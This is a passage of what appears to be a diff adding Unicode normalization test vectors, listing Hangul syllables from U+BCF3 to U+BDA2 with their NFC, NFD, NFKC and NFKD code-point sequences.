+{ source: [0xBCF3], NFC: [0xBCF3], NFD: [0x1107, 0x1168, 0x11C2], NFKC: [0xBCF3], NFKD: [0x1107, 0x1168, 0x11C2] },
+{ source: [0xBCF4], NFC: [0xBCF4], NFD: [0x1107, 0x1169], NFKC: [0xBCF4], NFKD: [0x1107, 0x1169] },
+{ source: [0xBCF5], NFC: [0xBCF5], NFD: [0x1107, 0x1169, 0x11A8], NFKC: [0xBCF5], NFKD: [0x1107, 0x1169, 0x11A8] },
+{ source: [0xBCF6], NFC: [0xBCF6], NFD: [0x1107, 0x1169, 0x11A9], NFKC: [0xBCF6], NFKD: [0x1107, 0x1169, 0x11A9] },
+{ source: [0xBCF7], NFC: [0xBCF7], NFD: [0x1107, 0x1169, 0x11AA], NFKC: [0xBCF7], NFKD: [0x1107, 0x1169, 0x11AA] },
+{ source: [0xBCF8], NFC: [0xBCF8], NFD: [0x1107, 0x1169, 0x11AB], NFKC: [0xBCF8], NFKD: [0x1107, 0x1169, 0x11AB] },
+{ source: [0xBCF9], NFC: [0xBCF9], NFD: [0x1107, 0x1169, 0x11AC], NFKC: [0xBCF9], NFKD: [0x1107, 0x1169, 0x11AC] },
+{ source: [0xBCFA], NFC: [0xBCFA], NFD: [0x1107, 0x1169, 0x11AD], NFKC: [0xBCFA], NFKD: [0x1107, 0x1169, 0x11AD] },
+{ source: [0xBCFB], NFC: [0xBCFB], NFD: [0x1107, 0x1169, 0x11AE], NFKC: [0xBCFB], NFKD: [0x1107, 0x1169, 0x11AE] },
+{ source: [0xBCFC], NFC: [0xBCFC], NFD: [0x1107, 0x1169, 0x11AF], NFKC: [0xBCFC], NFKD: [0x1107, 0x1169, 0x11AF] },
+{ source: [0xBCFD], NFC: [0xBCFD], NFD: [0x1107, 0x1169, 0x11B0], NFKC: [0xBCFD], NFKD: [0x1107, 0x1169, 0x11B0] },
+{ source: [0xBCFE], NFC: [0xBCFE], NFD: [0x1107, 0x1169, 0x11B1], NFKC: [0xBCFE], NFKD: [0x1107, 0x1169, 0x11B1] },
+{ source: [0xBCFF], NFC: [0xBCFF], NFD: [0x1107, 0x1169, 0x11B2], NFKC: [0xBCFF], NFKD: [0x1107, 0x1169, 0x11B2] },
+{ source: [0xBD00], NFC: [0xBD00], NFD: [0x1107, 0x1169, 0x11B3], NFKC: [0xBD00], NFKD: [0x1107, 0x1169, 0x11B3] },
+{ source: [0xBD01], NFC: [0xBD01], NFD: [0x1107, 0x1169, 0x11B4], NFKC: [0xBD01], NFKD: [0x1107, 0x1169, 0x11B4] },
+{ source: [0xBD02], NFC: [0xBD02], NFD: [0x1107, 0x1169, 0x11B5], NFKC: [0xBD02], NFKD: [0x1107, 0x1169, 0x11B5] },
+{ source: [0xBD03], NFC: [0xBD03], NFD: [0x1107, 0x1169, 0x11B6], NFKC: [0xBD03], NFKD: [0x1107, 0x1169, 0x11B6] },
+{ source: [0xBD04], NFC: [0xBD04], NFD: [0x1107, 0x1169, 0x11B7], NFKC: [0xBD04], NFKD: [0x1107, 0x1169, 0x11B7] },
+{ source: [0xBD05], NFC: [0xBD05], NFD: [0x1107, 0x1169, 0x11B8], NFKC: [0xBD05], NFKD: [0x1107, 0x1169, 0x11B8] },
+{ source: [0xBD06], NFC: [0xBD06], NFD: [0x1107, 0x1169, 0x11B9], NFKC: [0xBD06], NFKD: [0x1107, 0x1169, 0x11B9] },
+{ source: [0xBD07], NFC: [0xBD07], NFD: [0x1107, 0x1169, 0x11BA], NFKC: [0xBD07], NFKD: [0x1107, 0x1169, 0x11BA] },
+{ source: [0xBD08], NFC: [0xBD08], NFD: [0x1107, 0x1169, 0x11BB], NFKC: [0xBD08], NFKD: [0x1107, 0x1169, 0x11BB] },
+{ source: [0xBD09], NFC: [0xBD09], NFD: [0x1107, 0x1169, 0x11BC], NFKC: [0xBD09], NFKD: [0x1107, 0x1169, 0x11BC] },
+{ source: [0xBD0A], NFC: [0xBD0A], NFD: [0x1107, 0x1169, 0x11BD], NFKC: [0xBD0A], NFKD: [0x1107, 0x1169, 0x11BD] },
+{ source: [0xBD0B], NFC: [0xBD0B], NFD: [0x1107, 0x1169, 0x11BE], NFKC: [0xBD0B], NFKD: [0x1107, 0x1169, 0x11BE] },
+{ source: [0xBD0C], NFC: [0xBD0C], NFD: [0x1107, 0x1169, 0x11BF], NFKC: [0xBD0C], NFKD: [0x1107, 0x1169, 0x11BF] },
+{ source: [0xBD0D], NFC: [0xBD0D], NFD: [0x1107, 0x1169, 0x11C0], NFKC: [0xBD0D], NFKD: [0x1107, 0x1169, 0x11C0] },
+{ source: [0xBD0E], NFC: [0xBD0E], NFD: [0x1107, 0x1169, 0x11C1], NFKC: [0xBD0E], NFKD: [0x1107, 0x1169, 0x11C1] },
+{ source: [0xBD0F], NFC: [0xBD0F], NFD: [0x1107, 0x1169, 0x11C2], NFKC: [0xBD0F], NFKD: [0x1107, 0x1169, 0x11C2] },
+{ source: [0xBD10], NFC: [0xBD10], NFD: [0x1107, 0x116A], NFKC: [0xBD10], NFKD: [0x1107, 0x116A] },
+{ source: [0xBD11], NFC: [0xBD11], NFD: [0x1107, 0x116A, 0x11A8], NFKC: [0xBD11], NFKD: [0x1107, 0x116A, 0x11A8] },
+{ source: [0xBD12], NFC: [0xBD12], NFD: [0x1107, 0x116A, 0x11A9], NFKC: [0xBD12], NFKD: [0x1107, 0x116A, 0x11A9] },
+{ source: [0xBD13], NFC: [0xBD13], NFD: [0x1107, 0x116A, 0x11AA], NFKC: [0xBD13], NFKD: [0x1107, 0x116A, 0x11AA] },
+{ source: [0xBD14], NFC: [0xBD14], NFD: [0x1107, 0x116A, 0x11AB], NFKC: [0xBD14], NFKD: [0x1107, 0x116A, 0x11AB] },
+{ source: [0xBD15], NFC: [0xBD15], NFD: [0x1107, 0x116A, 0x11AC], NFKC: [0xBD15], NFKD: [0x1107, 0x116A, 0x11AC] },
+{ source: [0xBD16], NFC: [0xBD16], NFD: [0x1107, 0x116A, 0x11AD], NFKC: [0xBD16], NFKD: [0x1107, 0x116A, 0x11AD] },
+{ source: [0xBD17], NFC: [0xBD17], NFD: [0x1107, 0x116A, 0x11AE], NFKC: [0xBD17], NFKD: [0x1107, 0x116A, 0x11AE] },
+{ source: [0xBD18], NFC: [0xBD18], NFD: [0x1107, 0x116A, 0x11AF], NFKC: [0xBD18], NFKD: [0x1107, 0x116A, 0x11AF] },
+{ source: [0xBD19], NFC: [0xBD19], NFD: [0x1107, 0x116A, 0x11B0], NFKC: [0xBD19], NFKD: [0x1107, 0x116A, 0x11B0] },
+{ source: [0xBD1A], NFC: [0xBD1A], NFD: [0x1107, 0x116A, 0x11B1], NFKC: [0xBD1A], NFKD: [0x1107, 0x116A, 0x11B1] },
+{ source: [0xBD1B], NFC: [0xBD1B], NFD: [0x1107, 0x116A, 0x11B2], NFKC: [0xBD1B], NFKD: [0x1107, 0x116A, 0x11B2] },
+{ source: [0xBD1C], NFC: [0xBD1C], NFD: [0x1107, 0x116A, 0x11B3], NFKC: [0xBD1C], NFKD: [0x1107, 0x116A, 0x11B3] },
+{ source: [0xBD1D], NFC: [0xBD1D], NFD: [0x1107, 0x116A, 0x11B4], NFKC: [0xBD1D], NFKD: [0x1107, 0x116A, 0x11B4] },
+{ source: [0xBD1E], NFC: [0xBD1E], NFD: [0x1107, 0x116A, 0x11B5], NFKC: [0xBD1E], NFKD: [0x1107, 0x116A, 0x11B5] },
+{ source: [0xBD1F], NFC: [0xBD1F], NFD: [0x1107, 0x116A, 0x11B6], NFKC: [0xBD1F], NFKD: [0x1107, 0x116A, 0x11B6] },
+{ source: [0xBD20], NFC: [0xBD20], NFD: [0x1107, 0x116A, 0x11B7], NFKC: [0xBD20], NFKD: [0x1107, 0x116A, 0x11B7] },
+{ source: [0xBD21], NFC: [0xBD21], NFD: [0x1107, 0x116A, 0x11B8], NFKC: [0xBD21], NFKD: [0x1107, 0x116A, 0x11B8] },
+{ source: [0xBD22], NFC: [0xBD22], NFD: [0x1107, 0x116A, 0x11B9], NFKC: [0xBD22], NFKD: [0x1107, 0x116A, 0x11B9] },
+{ source: [0xBD23], NFC: [0xBD23], NFD: [0x1107, 0x116A, 0x11BA], NFKC: [0xBD23], NFKD: [0x1107, 0x116A, 0x11BA] },
+{ source: [0xBD24], NFC: [0xBD24], NFD: [0x1107, 0x116A, 0x11BB], NFKC: [0xBD24], NFKD: [0x1107, 0x116A, 0x11BB] },
+{ source: [0xBD25], NFC: [0xBD25], NFD: [0x1107, 0x116A, 0x11BC], NFKC: [0xBD25], NFKD: [0x1107, 0x116A, 0x11BC] },
+{ source: [0xBD26], NFC: [0xBD26], NFD: [0x1107, 0x116A, 0x11BD], NFKC: [0xBD26], NFKD: [0x1107, 0x116A, 0x11BD] },
+{ source: [0xBD27], NFC: [0xBD27], NFD: [0x1107, 0x116A, 0x11BE], NFKC: [0xBD27], NFKD: [0x1107, 0x116A, 0x11BE] },
+{ source: [0xBD28], NFC: [0xBD28], NFD: [0x1107, 0x116A, 0x11BF], NFKC: [0xBD28], NFKD: [0x1107, 0x116A, 0x11BF] },
+{ source: [0xBD29], NFC: [0xBD29], NFD: [0x1107, 0x116A, 0x11C0], NFKC: [0xBD29], NFKD: [0x1107, 0x116A, 0x11C0] },
+{ source: [0xBD2A], NFC: [0xBD2A], NFD: [0x1107, 0x116A, 0x11C1], NFKC: [0xBD2A], NFKD: [0x1107, 0x116A, 0x11C1] },
+{ source: [0xBD2B], NFC: [0xBD2B], NFD: [0x1107, 0x116A, 0x11C2], NFKC: [0xBD2B], NFKD: [0x1107, 0x116A, 0x11C2] },
+{ source: [0xBD2C], NFC: [0xBD2C], NFD: [0x1107, 0x116B], NFKC: [0xBD2C], NFKD: [0x1107, 0x116B] },
+{ source: [0xBD2D], NFC: [0xBD2D], NFD: [0x1107, 0x116B, 0x11A8], NFKC: [0xBD2D], NFKD: [0x1107, 0x116B, 0x11A8] },
+{ source: [0xBD2E], NFC: [0xBD2E], NFD: [0x1107, 0x116B, 0x11A9], NFKC: [0xBD2E], NFKD: [0x1107, 0x116B, 0x11A9] },
+{ source: [0xBD2F], NFC: [0xBD2F], NFD: [0x1107, 0x116B, 0x11AA], NFKC: [0xBD2F], NFKD: [0x1107, 0x116B, 0x11AA] },
+{ source: [0xBD30], NFC: [0xBD30], NFD: [0x1107, 0x116B, 0x11AB], NFKC: [0xBD30], NFKD: [0x1107, 0x116B, 0x11AB] },
+{ source: [0xBD31], NFC: [0xBD31], NFD: [0x1107, 0x116B, 0x11AC], NFKC: [0xBD31], NFKD: [0x1107, 0x116B, 0x11AC] },
+{ source: [0xBD32], NFC: [0xBD32], NFD: [0x1107, 0x116B, 0x11AD], NFKC: [0xBD32], NFKD: [0x1107, 0x116B, 0x11AD] },
+{ source: [0xBD33], NFC: [0xBD33], NFD: [0x1107, 0x116B, 0x11AE], NFKC: [0xBD33], NFKD: [0x1107, 0x116B, 0x11AE] },
+{ source: [0xBD34], NFC: [0xBD34], NFD: [0x1107, 0x116B, 0x11AF], NFKC: [0xBD34], NFKD: [0x1107, 0x116B, 0x11AF] },
+{ source: [0xBD35], NFC: [0xBD35], NFD: [0x1107, 0x116B, 0x11B0], NFKC: [0xBD35], NFKD: [0x1107, 0x116B, 0x11B0] },
+{ source: [0xBD36], NFC: [0xBD36], NFD: [0x1107, 0x116B, 0x11B1], NFKC: [0xBD36], NFKD: [0x1107, 0x116B, 0x11B1] },
+{ source: [0xBD37], NFC: [0xBD37], NFD: [0x1107, 0x116B, 0x11B2], NFKC: [0xBD37], NFKD: [0x1107, 0x116B, 0x11B2] },
+{ source: [0xBD38], NFC: [0xBD38], NFD: [0x1107, 0x116B, 0x11B3], NFKC: [0xBD38], NFKD: [0x1107, 0x116B, 0x11B3] },
+{ source: [0xBD39], NFC: [0xBD39], NFD: [0x1107, 0x116B, 0x11B4], NFKC: [0xBD39], NFKD: [0x1107, 0x116B, 0x11B4] },
+{ source: [0xBD3A], NFC: [0xBD3A], NFD: [0x1107, 0x116B, 0x11B5], NFKC: [0xBD3A], NFKD: [0x1107, 0x116B, 0x11B5] },
+{ source: [0xBD3B], NFC: [0xBD3B], NFD: [0x1107, 0x116B, 0x11B6], NFKC: [0xBD3B], NFKD: [0x1107, 0x116B, 0x11B6] },
+{ source: [0xBD3C], NFC: [0xBD3C], NFD: [0x1107, 0x116B, 0x11B7], NFKC: [0xBD3C], NFKD: [0x1107, 0x116B, 0x11B7] },
+{ source: [0xBD3D], NFC: [0xBD3D], NFD: [0x1107, 0x116B, 0x11B8], NFKC: [0xBD3D], NFKD: [0x1107, 0x116B, 0x11B8] },
+{ source: [0xBD3E], NFC: [0xBD3E], NFD: [0x1107, 0x116B, 0x11B9], NFKC: [0xBD3E], NFKD: [0x1107, 0x116B, 0x11B9] },
+{ source: [0xBD3F], NFC: [0xBD3F], NFD: [0x1107, 0x116B, 0x11BA], NFKC: [0xBD3F], NFKD: [0x1107, 0x116B, 0x11BA] },
+{ source: [0xBD40], NFC: [0xBD40], NFD: [0x1107, 0x116B, 0x11BB], NFKC: [0xBD40], NFKD: [0x1107, 0x116B, 0x11BB] },
+{ source: [0xBD41], NFC: [0xBD41], NFD: [0x1107, 0x116B, 0x11BC], NFKC: [0xBD41], NFKD: [0x1107, 0x116B, 0x11BC] },
+{ source: [0xBD42], NFC: [0xBD42], NFD: [0x1107, 0x116B, 0x11BD], NFKC: [0xBD42], NFKD: [0x1107, 0x116B, 0x11BD] },
+{ source: [0xBD43], NFC: [0xBD43], NFD: [0x1107, 0x116B, 0x11BE], NFKC: [0xBD43], NFKD: [0x1107, 0x116B, 0x11BE] },
+{ source: [0xBD44], NFC: [0xBD44], NFD: [0x1107, 0x116B, 0x11BF], NFKC: [0xBD44], NFKD: [0x1107, 0x116B, 0x11BF] },
+{ source: [0xBD45], NFC: [0xBD45], NFD: [0x1107, 0x116B, 0x11C0], NFKC: [0xBD45], NFKD: [0x1107, 0x116B, 0x11C0] },
+{ source: [0xBD46], NFC: [0xBD46], NFD: [0x1107, 0x116B, 0x11C1], NFKC: [0xBD46], NFKD: [0x1107, 0x116B, 0x11C1] },
+{ source: [0xBD47], NFC: [0xBD47], NFD: [0x1107, 0x116B, 0x11C2], NFKC: [0xBD47], NFKD: [0x1107, 0x116B, 0x11C2] },
+{ source: [0xBD48], NFC: [0xBD48], NFD: [0x1107, 0x116C], NFKC: [0xBD48], NFKD: [0x1107, 0x116C] },
+{ source: [0xBD49], NFC: [0xBD49], NFD: [0x1107, 0x116C, 0x11A8], NFKC: [0xBD49], NFKD: [0x1107, 0x116C, 0x11A8] },
+{ source: [0xBD4A], NFC: [0xBD4A], NFD: [0x1107, 0x116C, 0x11A9], NFKC: [0xBD4A], NFKD: [0x1107, 0x116C, 0x11A9] },
+{ source: [0xBD4B], NFC: [0xBD4B], NFD: [0x1107, 0x116C, 0x11AA], NFKC: [0xBD4B], NFKD: [0x1107, 0x116C, 0x11AA] },
+{ source: [0xBD4C], NFC: [0xBD4C], NFD: [0x1107, 0x116C, 0x11AB], NFKC: [0xBD4C], NFKD: [0x1107, 0x116C, 0x11AB] },
+{ source: [0xBD4D], NFC: [0xBD4D], NFD: [0x1107, 0x116C, 0x11AC], NFKC: [0xBD4D], NFKD: [0x1107, 0x116C, 0x11AC] },
+{ source: [0xBD4E], NFC: [0xBD4E], NFD: [0x1107, 0x116C, 0x11AD], NFKC: [0xBD4E], NFKD: [0x1107, 0x116C, 0x11AD] },
+{ source: [0xBD4F], NFC: [0xBD4F], NFD: [0x1107, 0x116C, 0x11AE], NFKC: [0xBD4F], NFKD: [0x1107, 0x116C, 0x11AE] },
+{ source: [0xBD50], NFC: [0xBD50], NFD: [0x1107, 0x116C, 0x11AF], NFKC: [0xBD50], NFKD: [0x1107, 0x116C, 0x11AF] },
+{ source: [0xBD51], NFC: [0xBD51], NFD: [0x1107, 0x116C, 0x11B0], NFKC: [0xBD51], NFKD: [0x1107, 0x116C, 0x11B0] },
+{ source: [0xBD52], NFC: [0xBD52], NFD: [0x1107, 0x116C, 0x11B1], NFKC: [0xBD52], NFKD: [0x1107, 0x116C, 0x11B1] },
+{ source: [0xBD53], NFC: [0xBD53], NFD: [0x1107, 0x116C, 0x11B2], NFKC: [0xBD53], NFKD: [0x1107, 0x116C, 0x11B2] },
+{ source: [0xBD54], NFC: [0xBD54], NFD: [0x1107, 0x116C, 0x11B3], NFKC: [0xBD54], NFKD: [0x1107, 0x116C, 0x11B3] },
+{ source: [0xBD55], NFC: [0xBD55], NFD: [0x1107, 0x116C, 0x11B4], NFKC: [0xBD55], NFKD: [0x1107, 0x116C, 0x11B4] },
+{ source: [0xBD56], NFC: [0xBD56], NFD: [0x1107, 0x116C, 0x11B5], NFKC: [0xBD56], NFKD: [0x1107, 0x116C, 0x11B5] },
+{ source: [0xBD57], NFC: [0xBD57], NFD: [0x1107, 0x116C, 0x11B6], NFKC: [0xBD57], NFKD: [0x1107, 0x116C, 0x11B6] },
+{ source: [0xBD58], NFC: [0xBD58], NFD: [0x1107, 0x116C, 0x11B7], NFKC: [0xBD58], NFKD: [0x1107, 0x116C, 0x11B7] },
+{ source: [0xBD59], NFC: [0xBD59], NFD: [0x1107, 0x116C, 0x11B8], NFKC: [0xBD59], NFKD: [0x1107, 0x116C, 0x11B8] },
+{ source: [0xBD5A], NFC: [0xBD5A], NFD: [0x1107, 0x116C, 0x11B9], NFKC: [0xBD5A], NFKD: [0x1107, 0x116C, 0x11B9] },
+{ source: [0xBD5B], NFC: [0xBD5B], NFD: [0x1107, 0x116C, 0x11BA], NFKC: [0xBD5B], NFKD: [0x1107, 0x116C, 0x11BA] },
+{ source: [0xBD5C], NFC: [0xBD5C], NFD: [0x1107, 0x116C, 0x11BB], NFKC: [0xBD5C], NFKD: [0x1107, 0x116C, 0x11BB] },
+{ source: [0xBD5D], NFC: [0xBD5D], NFD: [0x1107, 0x116C, 0x11BC], NFKC: [0xBD5D], NFKD: [0x1107, 0x116C, 0x11BC] },
+{ source: [0xBD5E], NFC: [0xBD5E], NFD: [0x1107, 0x116C, 0x11BD], NFKC: [0xBD5E], NFKD: [0x1107, 0x116C, 0x11BD] },
+{ source: [0xBD5F], NFC: [0xBD5F], NFD: [0x1107, 0x116C, 0x11BE], NFKC: [0xBD5F], NFKD: [0x1107, 0x116C, 0x11BE] },
+{ source: [0xBD60], NFC: [0xBD60], NFD: [0x1107, 0x116C, 0x11BF], NFKC: [0xBD60], NFKD: [0x1107, 0x116C, 0x11BF] },
+{ source: [0xBD61], NFC: [0xBD61], NFD: [0x1107, 0x116C, 0x11C0], NFKC: [0xBD61], NFKD: [0x1107, 0x116C, 0x11C0] },
+{ source: [0xBD62], NFC: [0xBD62], NFD: [0x1107, 0x116C, 0x11C1], NFKC: [0xBD62], NFKD: [0x1107, 0x116C, 0x11C1] },
+{ source: [0xBD63], NFC: [0xBD63], NFD: [0x1107, 0x116C, 0x11C2], NFKC: [0xBD63], NFKD: [0x1107, 0x116C, 0x11C2] },
+{ source: [0xBD64], NFC: [0xBD64], NFD: [0x1107, 0x116D], NFKC: [0xBD64], NFKD: [0x1107, 0x116D] },
+{ source: [0xBD65], NFC: [0xBD65], NFD: [0x1107, 0x116D, 0x11A8], NFKC: [0xBD65], NFKD: [0x1107, 0x116D, 0x11A8] },
+{ source: [0xBD66], NFC: [0xBD66], NFD: [0x1107, 0x116D, 0x11A9], NFKC: [0xBD66], NFKD: [0x1107, 0x116D, 0x11A9] },
+{ source: [0xBD67], NFC: [0xBD67], NFD: [0x1107, 0x116D, 0x11AA], NFKC: [0xBD67], NFKD: [0x1107, 0x116D, 0x11AA] },
+{ source: [0xBD68], NFC: [0xBD68], NFD: [0x1107, 0x116D, 0x11AB], NFKC: [0xBD68], NFKD: [0x1107, 0x116D, 0x11AB] },
+{ source: [0xBD69], NFC: [0xBD69], NFD: [0x1107, 0x116D, 0x11AC], NFKC: [0xBD69], NFKD: [0x1107, 0x116D, 0x11AC] },
+{ source: [0xBD6A], NFC: [0xBD6A], NFD: [0x1107, 0x116D, 0x11AD], NFKC: [0xBD6A], NFKD: [0x1107, 0x116D, 0x11AD] },
+{ source: [0xBD6B], NFC: [0xBD6B], NFD: [0x1107, 0x116D, 0x11AE], NFKC: [0xBD6B], NFKD: [0x1107, 0x116D, 0x11AE] },
+{ source: [0xBD6C], NFC: [0xBD6C], NFD: [0x1107, 0x116D, 0x11AF], NFKC: [0xBD6C], NFKD: [0x1107, 0x116D, 0x11AF] },
+{ source: [0xBD6D], NFC: [0xBD6D], NFD: [0x1107, 0x116D, 0x11B0], NFKC: [0xBD6D], NFKD: [0x1107, 0x116D, 0x11B0] },
+{ source: [0xBD6E], NFC: [0xBD6E], NFD: [0x1107, 0x116D, 0x11B1], NFKC: [0xBD6E], NFKD: [0x1107, 0x116D, 0x11B1] },
+{ source: [0xBD6F], NFC: [0xBD6F], NFD: [0x1107, 0x116D, 0x11B2], NFKC: [0xBD6F], NFKD: [0x1107, 0x116D, 0x11B2] },
+{ source: [0xBD70], NFC: [0xBD70], NFD: [0x1107, 0x116D, 0x11B3], NFKC: [0xBD70], NFKD: [0x1107, 0x116D, 0x11B3] },
+{ source: [0xBD71], NFC: [0xBD71], NFD: [0x1107, 0x116D, 0x11B4], NFKC: [0xBD71], NFKD: [0x1107, 0x116D, 0x11B4] },
+{ source: [0xBD72], NFC: [0xBD72], NFD: [0x1107, 0x116D, 0x11B5], NFKC: [0xBD72], NFKD: [0x1107, 0x116D, 0x11B5] },
+{ source: [0xBD73], NFC: [0xBD73], NFD: [0x1107, 0x116D, 0x11B6], NFKC: [0xBD73], NFKD: [0x1107, 0x116D, 0x11B6] },
+{ source: [0xBD74], NFC: [0xBD74], NFD: [0x1107, 0x116D, 0x11B7], NFKC: [0xBD74], NFKD: [0x1107, 0x116D, 0x11B7] },
+{ source: [0xBD75], NFC: [0xBD75], NFD: [0x1107, 0x116D, 0x11B8], NFKC: [0xBD75], NFKD: [0x1107, 0x116D, 0x11B8] },
+{ source: [0xBD76], NFC: [0xBD76], NFD: [0x1107, 0x116D, 0x11B9], NFKC: [0xBD76], NFKD: [0x1107, 0x116D, 0x11B9] },
+{ source: [0xBD77], NFC: [0xBD77], NFD: [0x1107, 0x116D, 0x11BA], NFKC: [0xBD77], NFKD: [0x1107, 0x116D, 0x11BA] },
+{ source: [0xBD78], NFC: [0xBD78], NFD: [0x1107, 0x116D, 0x11BB], NFKC: [0xBD78], NFKD: [0x1107, 0x116D, 0x11BB] },
+{ source: [0xBD79], NFC: [0xBD79], NFD: [0x1107, 0x116D, 0x11BC], NFKC: [0xBD79], NFKD: [0x1107, 0x116D, 0x11BC] },
+{ source: [0xBD7A], NFC: [0xBD7A], NFD: [0x1107, 0x116D, 0x11BD], NFKC: [0xBD7A], NFKD: [0x1107, 0x116D, 0x11BD] },
+{ source: [0xBD7B], NFC: [0xBD7B], NFD: [0x1107, 0x116D, 0x11BE], NFKC: [0xBD7B], NFKD: [0x1107, 0x116D, 0x11BE] },
+{ source: [0xBD7C], NFC: [0xBD7C], NFD: [0x1107, 0x116D, 0x11BF], NFKC: [0xBD7C], NFKD: [0x1107, 0x116D, 0x11BF] },
+{ source: [0xBD7D], NFC: [0xBD7D], NFD: [0x1107, 0x116D, 0x11C0], NFKC: [0xBD7D], NFKD: [0x1107, 0x116D, 0x11C0] },
+{ source: [0xBD7E], NFC: [0xBD7E], NFD: [0x1107, 0x116D, 0x11C1], NFKC: [0xBD7E], NFKD: [0x1107, 0x116D, 0x11C1] },
+{ source: [0xBD7F], NFC: [0xBD7F], NFD: [0x1107, 0x116D, 0x11C2], NFKC: [0xBD7F], NFKD: [0x1107, 0x116D, 0x11C2] },
+{ source: [0xBD80], NFC: [0xBD80], NFD: [0x1107, 0x116E], NFKC: [0xBD80], NFKD: [0x1107, 0x116E] },
+{ source: [0xBD81], NFC: [0xBD81], NFD: [0x1107, 0x116E, 0x11A8], NFKC: [0xBD81], NFKD: [0x1107, 0x116E, 0x11A8] },
+{ source: [0xBD82], NFC: [0xBD82], NFD: [0x1107, 0x116E, 0x11A9], NFKC: [0xBD82], NFKD: [0x1107, 0x116E, 0x11A9] },
+{ source: [0xBD83], NFC: [0xBD83], NFD: [0x1107, 0x116E, 0x11AA], NFKC: [0xBD83], NFKD: [0x1107, 0x116E, 0x11AA] },
+{ source: [0xBD84], NFC: [0xBD84], NFD: [0x1107, 0x116E, 0x11AB], NFKC: [0xBD84], NFKD: [0x1107, 0x116E, 0x11AB] },
+{ source: [0xBD85], NFC: [0xBD85], NFD: [0x1107, 0x116E, 0x11AC], NFKC: [0xBD85], NFKD: [0x1107, 0x116E, 0x11AC] },
+{ source: [0xBD86], NFC: [0xBD86], NFD: [0x1107, 0x116E, 0x11AD], NFKC: [0xBD86], NFKD: [0x1107, 0x116E, 0x11AD] },
+{ source: [0xBD87], NFC: [0xBD87], NFD: [0x1107, 0x116E, 0x11AE], NFKC: [0xBD87], NFKD: [0x1107, 0x116E, 0x11AE] },
+{ source: [0xBD88], NFC: [0xBD88], NFD: [0x1107, 0x116E, 0x11AF], NFKC: [0xBD88], NFKD: [0x1107, 0x116E, 0x11AF] },
+{ source: [0xBD89], NFC: [0xBD89], NFD: [0x1107, 0x116E, 0x11B0], NFKC: [0xBD89], NFKD: [0x1107, 0x116E, 0x11B0] },
+{ source: [0xBD8A], NFC: [0xBD8A], NFD: [0x1107, 0x116E, 0x11B1], NFKC: [0xBD8A], NFKD: [0x1107, 0x116E, 0x11B1] },
+{ source: [0xBD8B], NFC: [0xBD8B], NFD: [0x1107, 0x116E, 0x11B2], NFKC: [0xBD8B], NFKD: [0x1107, 0x116E, 0x11B2] },
+{ source: [0xBD8C], NFC: [0xBD8C], NFD: [0x1107, 0x116E, 0x11B3], NFKC: [0xBD8C], NFKD: [0x1107, 0x116E, 0x11B3] },
+{ source: [0xBD8D], NFC: [0xBD8D], NFD: [0x1107, 0x116E, 0x11B4], NFKC: [0xBD8D], NFKD: [0x1107, 0x116E, 0x11B4] },
+{ source: [0xBD8E], NFC: [0xBD8E], NFD: [0x1107, 0x116E, 0x11B5], NFKC: [0xBD8E], NFKD: [0x1107, 0x116E, 0x11B5] },
+{ source: [0xBD8F], NFC: [0xBD8F], NFD: [0x1107, 0x116E, 0x11B6], NFKC: [0xBD8F], NFKD: [0x1107, 0x116E, 0x11B6] },
+{ source: [0xBD90], NFC: [0xBD90], NFD: [0x1107, 0x116E, 0x11B7], NFKC: [0xBD90], NFKD: [0x1107, 0x116E, 0x11B7] },
+{ source: [0xBD91], NFC: [0xBD91], NFD: [0x1107, 0x116E, 0x11B8], NFKC: [0xBD91], NFKD: [0x1107, 0x116E, 0x11B8] },
+{ source: [0xBD92], NFC: [0xBD92], NFD: [0x1107, 0x116E, 0x11B9], NFKC: [0xBD92], NFKD: [0x1107, 0x116E, 0x11B9] },
+{ source: [0xBD93], NFC: [0xBD93], NFD: [0x1107, 0x116E, 0x11BA], NFKC: [0xBD93], NFKD: [0x1107, 0x116E, 0x11BA] },
+{ source: [0xBD94], NFC: [0xBD94], NFD: [0x1107, 0x116E, 0x11BB], NFKC: [0xBD94], NFKD: [0x1107, 0x116E, 0x11BB] },
+{ source: [0xBD95], NFC: [0xBD95], NFD: [0x1107, 0x116E, 0x11BC], NFKC: [0xBD95], NFKD: [0x1107, 0x116E, 0x11BC] },
+{ source: [0xBD96], NFC: [0xBD96], NFD: [0x1107, 0x116E, 0x11BD], NFKC: [0xBD96], NFKD: [0x1107, 0x116E, 0x11BD] },
+{ source: [0xBD97], NFC: [0xBD97], NFD: [0x1107, 0x116E, 0x11BE], NFKC: [0xBD97], NFKD: [0x1107, 0x116E, 0x11BE] },
+{ source: [0xBD98], NFC: [0xBD98], NFD: [0x1107, 0x116E, 0x11BF], NFKC: [0xBD98], NFKD: [0x1107, 0x116E, 0x11BF] },
+{ source: [0xBD99], NFC: [0xBD99], NFD: [0x1107, 0x116E, 0x11C0], NFKC: [0xBD99], NFKD: [0x1107, 0x116E, 0x11C0] },
+{ source: [0xBD9A], NFC: [0xBD9A], NFD: [0x1107, 0x116E, 0x11C1], NFKC: [0xBD9A], NFKD: [0x1107, 0x116E, 0x11C1] },
+{ source: [0xBD9B], NFC: [0xBD9B], NFD: [0x1107, 0x116E, 0x11C2], NFKC: [0xBD9B], NFKD: [0x1107, 0x116E, 0x11C2] },
+{ source: [0xBD9C], NFC: [0xBD9C], NFD: [0x1107, 0x116F], NFKC: [0xBD9C], NFKD: [0x1107, 0x116F] },
+{ source: [0xBD9D], NFC: [0xBD9D], NFD: [0x1107, 0x116F, 0x11A8], NFKC: [0xBD9D], NFKD: [0x1107, 0x116F, 0x11A8] },
+{ source: [0xBD9E], NFC: [0xBD9E], NFD: [0x1107, 0x116F, 0x11A9], NFKC: [0xBD9E], NFKD: [0x1107, 0x116F, 0x11A9] },
+{ source: [0xBD9F], NFC: [0xBD9F], NFD: [0x1107, 0x116F, 0x11AA], NFKC: [0xBD9F], NFKD: [0x1107, 0x116F, 0x11AA] },
+{ source: [0xBDA0], NFC: [0xBDA0], NFD: [0x1107, 0x116F, 0x11AB], NFKC: [0xBDA0], NFKD: [0x1107, 0x116F, 0x11AB] },
+{ source: [0xBDA1], NFC: [0xBDA1], NFD: [0x1107, 0x116F, 0x11AC], NFKC: [0xBDA1], NFKD: [0x1107, 0x116F, 0x11AC] },
+{ source: [0xBDA2], NFC: [0xBDA2], NFD: [0x1107, 0x116F, 0x11AD], NFKC: [0xBDA2], NFKD: [0x1107, 0x116F, 0x11AD] },
